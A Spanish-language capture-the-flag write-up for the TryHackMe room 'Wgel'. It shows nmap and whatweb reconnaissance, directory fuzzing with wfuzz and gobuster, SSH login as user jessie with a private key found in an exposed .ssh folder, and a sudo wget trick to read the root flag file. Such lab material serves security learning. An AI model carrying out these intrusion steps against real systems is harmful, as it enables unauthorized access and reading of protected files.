Wgel
December 28, 20223 minutes
https://tryhackme.com/room/wgelctf
IP Atacante = 10.10.10.10
IP víctima = 10.10.176.77
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.176.77
PING 10.10.176.77 (10.10.176.77) 56(84) bytes of data.
64 bytes from 10.10.176.77: icmp_seq=1 ttl=63 time=108 ms
--- 10.10.176.77 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 108.118/108.118/108.118/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.176.77 -oG allPort
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.176.77
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p22,80 -sC -sV 10.10.176.77 -oN target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94961b66801b7648682d14b59a01aaaa (RSA)
| 256 18f710cc5f40f6cf92f86916e248f438 (ECDSA)
|_ 256 b90b972e459bf32a4b11c7831033e0ce (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web
En el puerto 80 está corriendo una web, con el whatweb
podemos ver un poco de información sobre la web.
❯ whatweb 10.10.176.77
http://10.10.176.77 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.176.77], Title[Apache2 Ubuntu Default Page: It works]
Con ctrl + u
podemos ver el código de la web en el cual se ve una línea comentada con un mensaje: <!-- Jessie don't forget to udate the webiste -->
Con esto podemos intuir que hay un usuario llamado Jessie
wfuzz y gobuster (subdirectorios)
Con wfuzz vamos a buscar subdirectorios mediante un diccionario ubicado en /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
con el siguiente comando
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 10.10.176.77/FUZZ
Nos reporta el subdirectorio /sitemap
en el cual hay una web con muchos apartados.
Con wfuzz otra vez, vamos a buscar subdirectorios sobre el directorio sitemap
, mediante el mismo comando, pero cambiando la ubicación: de 10.10.176.77/FUZZ
a 10.10.176.77/sitemap/FUZZ
. No ha encontrado nada, probamos con gobuster y otro diccionario el cual está ubicado en /usr/share/wordlists/dirb/common.txt
.
gobuster dir -u http://10.10.176.77/sitemap/ -w /usr/share/wordlists/dirb/common.txt
Infiltración
Ahora nos reporta varios subdirectorios, entre ellos un .ssh, el cual contiene una rsa private key
Para conectarnos por ssh la vamos a guardar en un archivo llamado id_rsa
, y nos vamos a conectar con el usuario Jessie que encontramos anteriormente y la llave que encontramos
chmod 600 id_rsa
ssh -i id_rsa jessie@10.10.176.77
User Flag
Podemos ver la flag en /home/jessie/Documents/user_flag.txt.
Root Flag
Con un sudo -l podemos ver que podemos ejecutar wget como root sin proporcionar contraseña. En https://gtfobins.github.io/gtfobins/wget/#shell Podemos ver que hay una forma de leer archivos aprovechándonos del wget . Intuyendo que la flag está en /root/root_flag.txt, con los siguientes comandos deberíamos de poder leerlo
LFILE=/root/root_flag.txt
wget -i $LFILE
Ya tenemos la flag!!!